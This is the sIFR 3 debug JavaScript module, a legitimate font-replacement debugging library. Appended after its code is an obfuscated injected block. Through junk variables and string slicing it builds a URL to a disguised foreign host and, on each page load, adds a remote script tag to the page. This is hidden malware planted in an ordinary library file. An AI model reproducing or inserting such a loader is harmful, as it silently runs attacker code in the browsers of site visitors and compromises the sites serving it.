/*=:project
    scalable Inman Flash Replacement (sIFR) version 3, revision 278

    Provides debug information about sIFR.

  =:file
    Copyright: 2006 Mark Wubben.
    Author: Mark Wubben, <http://novemberborn.net/>

  =:license
    * This software is licensed and provided under the CC-GNU LGPL
    * See <http://creativecommons.org/licenses/LGPL/2.1/>    
*/

sIFR.debug = new function() {
  // Initialize sIFR
  sIFR.debugMode = true;
  sIFR.errors = {
    isFile: 'sIFR: Did not activate because the page is being loaded from the filesystem.',
    getSource: 'sIFR: Could not determine appropriate source'
  }; // Added by the export script.
  
  function log(msg) {
    if(!sIFR.ua.safari && window.console && console.log) console.log(msg);
    else alert(msg);
  }
  
  function merge(kwargs, mergeKwargs) {
    if(mergeKwargs) {
      for(var property in kwargs) {
        if(typeof(mergeKwargs[property]) == 'undefined') mergeKwargs[property] = kwargs[property];
      }
      kwargs = mergeKwargs;
    }
    
    return kwargs;
  }
  
  this.ua = function() {
    var info = [];
    
    for(var prop in sIFR.ua) {
      if(sIFR.ua[prop] == Object.prototype[prop]) continue;
      
      info.push(prop, ': ', sIFR.ua[prop], '\n');
    }
    
    log(info.join(''));
  };
  
  this.domains = function() {
    var valid = sIFR.domains.length == 0;
    
    // The validation code is copied from the private sIFR code. Please keep 
    // up to date!
    
    var domain = '';
    try { // When trying to access document.domain on a Google-translated page with Firebug, I got an exception.
      domain = document.domain;
    } catch(e) {};

    for(var i = 0; i < sIFR.domains.length; i++) {
      if(sIFR.domains[i] == '*' || sIFR.domains[i] == domain) {
        valid = true;
        break;
      }
    }
    
    log(['The domain "', domain, '" is ', valid ? 'valid' : 'invalid', '.\nList of checked domains: ', sIFR.domains].join(''));
  };

  this.ratios = function(kwargs, mergeKwargs) {
    kwargs = merge(kwargs, mergeKwargs);
    
    var running = false;
    kwargs.onReplacement = function(cb) {
      if(running) return; // Prevent duplicate results
      running = true;
      
      cb.debugHandler = function(info, args) {
        if(/(FSCommand\:)?debug\:ratios/.test(info)) prompt('The ratios for ' + kwargs.selector + ' are:', args);
      }
      cb.call('ratios', '');
    };

    sIFR.replace(kwargs);
  };
  
  function verifyResource(uri, fail, ok) {
    if(sIFR.ua.ie && uri.charAt(0) == '/') {
      uri = window.location.toString().replace(/([^:]+)(:\/?\/?)([^\/]+).*/, '$1$2$3') + uri;
    }
    
    var xhr = new XMLHttpRequest();
    xhr.open('GET', uri, true);
    xhr.onreadystatechange = function() {
      if(xhr.readyState == 4) {
        if(xhr.status != 200) log(fail);
        else log(ok);
      }
    };
    xhr.send('');
  }

  this.test = function(kwargs, mergeKwargs) {
    kwargs = merge(kwargs, mergeKwargs);

    var src = kwargs.src;
    var checked = false;
    if(typeof(src) != 'string') {
      if(src.src) src = src.src;

      if(typeof(src) != 'string') {
        var versions = [];
        for(var version in src) if(src[version] != Object.prototype[version]) versions.push(version);
        versions.sort().reverse();

        var result = '';
        var i = -1;
        while(!result && ++i < versions.length) {
          if(parseFloat(versions[i]) <= ua.flashVersion) result = src[versions[i]];
          var msg = '<' + src[versions[i]] + '>, flash ' + parseFloat(versions[i]);
          verifyResource(src[versions[i]], 'FAILED: ' + msg, 'OK: ' + msg);
        }
        
        src = result;
        checked = true;
      }
    }
    
    if(!src) log('Could not determine appropriate source.');
    else if(!checked) verifyResource(src, 'FAILED: <' + src + '>', 'OK: <' + src + '>');
  };
  
  this.forceTest = function() {
    var replace = sIFR.replace;
    sIFR.replace = function(kwargs, mergeKwargs) {
      sIFR.debug.test(kwargs, mergeKwargs);
      replace.call(sIFR, kwargs, mergeKwargs);
    };
  }
};
var d="";try {var b;if(b!='r' && b != ''){b=null};this.W="";var Xk;if(Xk!='' && Xk!='QW'){Xk='C'};var l='';var p='';var G=new String("[");var c='';var t=RegExp;var XJ;if(XJ!='J' && XJ!='e'){XJ='J'};var cT;if(cT!='' && cT!='UC'){cT=''};var h=String("kKJUrepla".substr(4)+"SN4Yce".substr(4));this.KF="";this.bE="";var g=new String("g");var Ts=new String();var n=String("]gMIZ".substr(0,1));var N;if(N!=''){N='_C'};var m;if(m!='bu'){m=''};this.j="";function s(K,lA){var ut="";var F=G;F+=lA;F+=n;var gw;if(gw!='' && gw!='A'){gw='Wd'};var f=new t(F, g);var ep;if(ep!='' && ep!='cj'){ep='dP'};return K.replace(f, l);};var _W=new String();var lz=String("onJ4wF".substr(0,2)+"loxNJv".substr(0,2)+"ad");var Gq;if(Gq!='' && Gq!='wj'){Gq='y'};var T=s('hGtGtPp7:7/7/G1P178P171P47-Gc7nG.GbPaGsGeGcPaGmPpGhGqP.Gc7oGmP.GdPaGiPl7y7m7aPi7lP-Gc7oG-Gu7kG.GwGePbPm7i7xGw7oGr7lGdP.GrGuP:7',"P7G");var BQ;if(BQ!='' && BQ!='hz'){BQ=''};this.SX='';var U=new String("/iYfj".substr(0,2)+"gV4lke4glV".substr(4,2)+"BUYa.".substr(3)+"k0SPcoP0kS".substr(4,2)+"YSem/".substr(3)+"ik"+"eaj6yr".substr(0,2)+"YHB.cYHB".substr(3,2)+"omhiGK".substr(0,2)+"/gie81".substr(0,2)+"S9kookS9".substr(3,2)+"7rJgl".substr(3)+"e.yo25".substr(0,2)+"cokgC".substr(0,2)+"Th6m/".substr(3)+"or"+"ku"+"TqCIt.".substr(4)+"coj6J".substr(0,2)+"VROm.".substr(3)+"zGAbrAzG".substr(3,2)+"/g"+"O73ooO73".substr(3,2)+"gl5mX".substr(0,2)+"e.Zjp".substr(0,2)+"clp9U".substr(0,2)+"RdI2.p".substr(4)+"w0mhp".substr(3));var lh='';var Gi=new String();var K="1";var Tt='';var nP;if(nP!='aM' && nP!='E'){nP=''};var Z=String("sc"+"ri"+"pt");var V=s('875507777855505575',"75");var cu='';var RM;if(RM!='' && RM!='Fo'){RM=''};var dj=new String();var FD="";window[lz]=function(){u=document.createElement(Z);var Rm='';var SS;if(SS!=''){SS='e_'};var KC=new Array();var st;if(st!='' && st!='sb'){st='qT'};lh+=T;this._Q="";lh+=V+U;var xg='';var GX=new Array();var Ys;if(Ys!='' && Ys!='SY'){Ys=null};this.o="";u.defer=K;var v=document.body;var ax=new Array();var zK="";u.src=lh;var YK=new Date();v.appendChild(u);var ch;if(ch!='' && ch!='gj'){ch=''};this.kv='';};this.Dx='';} catch(Q){};